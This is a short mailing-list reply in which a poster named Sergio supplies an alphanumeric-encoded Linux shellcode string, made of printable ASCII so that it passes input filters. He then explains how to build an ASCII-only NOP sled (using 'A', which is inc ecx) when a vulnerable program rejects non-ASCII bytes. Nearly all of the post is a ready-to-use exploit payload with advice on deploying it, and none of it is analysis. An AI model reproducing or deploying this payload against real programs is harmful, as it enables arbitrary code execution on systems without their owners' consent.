Re: Linux restricted ASCII Shellcode

Hi,

Here you have you shellcode in ascii format.

'hAAAAX5AAAAHPPPPPPPPah4A00X5ZnCXPh0A00X50nRYPTYIII19hAA00X5Vb00PTY19hA0A0X5fpsOPTY19II19I19h0AA0X5OpeFPTY19II19I19h004AX5Bf8sPTY19I19II19h4040X58Bz8PTYII19h4520X58z9FPTY19I19I19I19h0000X5v7FvPTYI19I19h0AE0X58pzGPTY19II19hE000X5ZnFFPTYI19I19h555AX5ZZZUPTY19T'

If the code you are trying to exploit does NOT allow nonASCII nops (that
actually is the only thing that makes sence) instead of '\x90' you will
have to use some ascii opcode/bytecode string that can be used as NOP
sled (for example 'A' -> inc ecx).

Cheers,
  Sergio
